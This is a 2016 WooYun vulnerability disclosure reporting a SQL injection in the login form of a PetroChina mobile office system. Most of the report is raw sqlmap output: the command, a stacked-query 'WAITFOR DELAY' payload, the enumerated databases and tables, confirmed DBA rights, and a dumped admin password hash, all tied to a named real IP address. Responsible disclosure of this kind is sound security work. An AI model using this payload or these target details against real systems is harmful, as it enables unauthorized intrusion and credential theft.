当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168544

漏洞标题:中国石油移动办公系统存在SQL注入

相关厂商:中国石油天然气集团公司

漏洞作者: aaaaty

提交时间:2016-01-08 23:46

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-08: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-31: 细节向普通白帽子公开
2016-02-10: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

中国石油移动办公系统存在SQL注入

详细说明:

中国石油移动办公系统存在SQL注入

http://114.251.197.194/


Copyright ? 2011 中油瑞飞信息技术有限责任公司 All Rights Reserved.

QQ截图20160108214106.jpg


注入点:http://114.251.197.194/Login.aspx post注入

C:\Users\刘>sqlmap.py -u "http://114.251.197.194/Login.aspx" --forms --dbms=mssql --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201601070a8c}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:14:56
[17:14:57] [INFO] testing connection to the target URL
[17:14:57] [INFO] searching for forms
[#1] form:
POST http://114.251.197.194:80/Login.aspx
POST data: __VIEWSTATE=%2FwEPDwUJMzU2ODU4NjE4DxQrAAJkFwAWAgIED2QWBAIBD2QWAmYPDxYOHgtDZWxsUGFkZGluZ2YeC0NlbGxTcGFjaW5nZh4LQm9yZGVyU3R5bGULKiVTeXN0ZW0uV2ViLlVJLld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F27j4CtsaGhA8Ctsb%2Bgw8CkPC5mgcCkPCR5AV%2BRpjyFZ%2Bak%2BnfxN7ylhXs%2FvdwkUM5sc0xsuZXQ15%2B5g%3D%3D&txtLogonID%24ctl03=&txtLogonID%24ctl04=&txtPassword%24ctl03=&txtPassword%24ctl04=&btnLogon%24ctl00.x=1&btnLogon%24ctl00.y=1&btnLogon%24ctl02=&btnGotoApp%24ctl02=
do you want to test this form? [Y/n/q]
> y
Edit POST data [default: __VIEWSTATE=%2FwEPDwUJMzU2ODU4NjE4DxQrAAJkFwAWAgIED2QWBAIBD2QWAmYPDxYOHgtDZWxsUGFkZGluZ2YeC0NlbGxTcGFjaW5nZh4LQm9yZGVyU3R5bGULKiVTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLkJvcmRlclN0eWxlAR4LQm9yZGVyV2lkdGgbAAAAAAAAAAABAAAAHgVXaWR0aBweCENzc0NsYXNzBQdjYkNsYXNzHgRfIVNCAuKCGGQWAmYPZBYEZg8PFgYeDVZlcnRpY2FsQWxpZ24LKidTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlZlcnRpY2FsQWxpZ24BHwQbAAAAAAAA8D8BAAAAHwYCgIIIZBYCZg8PFgYfBBsAAAAAAADwPwEAAAAeBkhlaWdodBsAAAAAAAAyQAEAAAAfBgKAA2RkAgEPDxYGHg9Ib3Jpem9udGFsQWxpZ24LKilTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLkhvcml6b250YWxBbGlnbgEfBBsAAAAAACBkQAEAAAAfBgKAggRkFgRmDw8WBB8EGwAAAAAAIGRAAQAAAB8GAoACZGQCAQ8PFgQfBBsAAAAAACBkQAEAAAAfBgKAAmRkAgMPZBYCZg8PFg4fAGYfAWYfAgsrBAEfAxsAAAAAAAAAAAEAAAAfBBwfBQUHY2JDbGFzcx8GAuKCGGQWAmYPZBYEZg8PFgYfBwsrBQEfBBsAAAAAAADwPwEAAAAfBgKAgghkFgJmDw8WBh8EGwAAAAAAAPA%2FAQAAAB8IGwAAAAAAADJAAQAAAB8GAoADZGQCAQ8PFgYfCQsrBgEfBBsAAAAAACBkQAEAAAAfBgKAggRkFgRmDw8WBB8EGwAAAAAAIGRAAQAAAB8GAoACZGQCAQ8PFgQfBBsAAAAAACBkQAEAAAAfBgKAAmRkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYEBQp0eHRMb2dvbklEBQt0eHRQYXNzd29yZAUOYnRuTG9nb24kY3RsMDAFEGJ0bkdvdG9BcHAkY3RsMDAsyY2h0OSm8L9TbBXd9fgCXgYNhilrHWe3kgvsoy0M3w%3D%3D&__EVENTVALIDATION=%2FwEWCQLBjarWDwLHj%2F7kCALHj5LAAQLo9u4%2BAu%2F27j4CtsaGhA8Ctsb%2Bgw8CkPC5mgcCkPCR5AV%2BRpjyFZ%2Bak%2BnfxN7ylhXs%2FvdwkUM5sc0xsuZXQ15%2B5g%3D%3D&txtLogonID%24ctl03=&txtLogonID%24ctl04=&txtPassword%24ctl03=&txtPassword%24ctl04=&btnLogon%24ctl00.x=1&btnLogon%24ctl00.y=1&btnLogon%24ctl02=&btnGotoApp%24ctl02=] (Warning: blank fields detected):
do you want to fill blank fields with random values? [Y/n] y
[17:14:59] [INFO] using 'C:\Users\刘\.sqlmap\output\results-01082016_0514pm.csv' as the CSV results file in multiple targets mode
[17:14:59] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: txtLogonID$ctl03 (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: __VIEWSTATE=/wEPDwUJMzU2ODU4NjE4DxQrAAJkFwAWAgIED2QWBAIBD2QWAmYPDxYOHgtDZWxsUGFkZGluZ2YeC0NlbGxTcGFjaW5nZh4LQm9yZGVyU3R5bGULKiVTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLkJvcmRlclN0eWxlAR4LQm9yZGVyV2lkdGgbAAAAAAA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1SFrkJWZBzFotBeGStynVGAfQ==&txtLogonID$ctl03=oIsZ';WAITFOR DELAY '0:0:5'--&txtLogonID$ctl04=&txtPassword$ctl03=vVgW&txtPassword$ctl04=&btnLogon$ctl00.x=1&btnLogon$ctl00.y=1&btnLogon$ctl02=Wffy&btnGotoApp$ctl02=
---
do you want to exploit this SQL injection? [Y/n] y
[17:15:00] [INFO] testing Microsoft SQL Server
[17:15:00] [INFO] confirming Microsoft SQL Server
[17:15:00] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[17:15:00] [INFO] fetching database names
[17:15:00] [INFO] fetching number of databases
[17:15:00] [INFO] resumed: 7
[17:15:00] [INFO] resumed: eMobile_KLXT
[17:15:00] [INFO] resumed: master
[17:15:00] [INFO] resumed: model
[17:15:00] [INFO] resumed: msdb
[17:15:00] [INFO] resumed: ReportServer
[17:15:00] [INFO] resumed: ReportServerTempDB
[17:15:00] [INFO] resumed: tempdb
available databases [7]:
[*] eMobile_KLXT
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[17:15:00] [INFO] you can find results of scanning in multiple targets mode inside the CSV file 'C:\Users\刘\.sqlmap\output\results-01082016_0514pm.csv'


权限很高

current user is DBA:    True


漏洞证明:

available databases [7]:
[*] eMobile_KLXT
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


Database: eMobile_KLXT
[38 tables]
+-----------------------+
| Logging |
| MActionDef |
| MActionSubscription |
| MAppCertification |
| MAppModule |
| MAppPage |
| MBizApp |
| MCacheData |
| MClientAppUpdate |
| MDeviceContext |
| MFieldDef |
| MMSMInfo |
| MMobileApp |
| MMobilePlatform |
| MMobileUser |
| MModemDevice |
| MPushHistory |
| MSIMCard |
| MUserDevice |
| VPDBEMLocalization |
| VPDBExceptionRegister |
| VPDatabase |
| VPMTCLocalization |
| VPMTIColumn |
| VPMTLocalization |
| VPMenu |
| VPMenuItem |
| VPMetaTable |
| VPMetaTableColumn |
| VPMetaTableIndex |
| VPMetaTableRelation |
| VPRole |
| VPRoleResource |
| VPSystemConfig |
| VPUser |
| VPUserConfig |
| VPUserRole |
| sysdiagrams |
+-----------------------+


Database: eMobile_KLXT
Table: VPUser
[1 entry]
+----------------------------------+----------+
| Password | UserName |
+----------------------------------+----------+
| e853a2c04f9346b999e065d869caef78 | Admin |
+----------------------------------+----------+


密码没有解密出来。

修复方案:

敏感字符过滤,再加个验证码吧

版权声明:转载请注明来源 aaaaty@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-01-11 13:56

厂商回复:

非常感谢您的报告,问题已着手处理.

最新状态:

暂无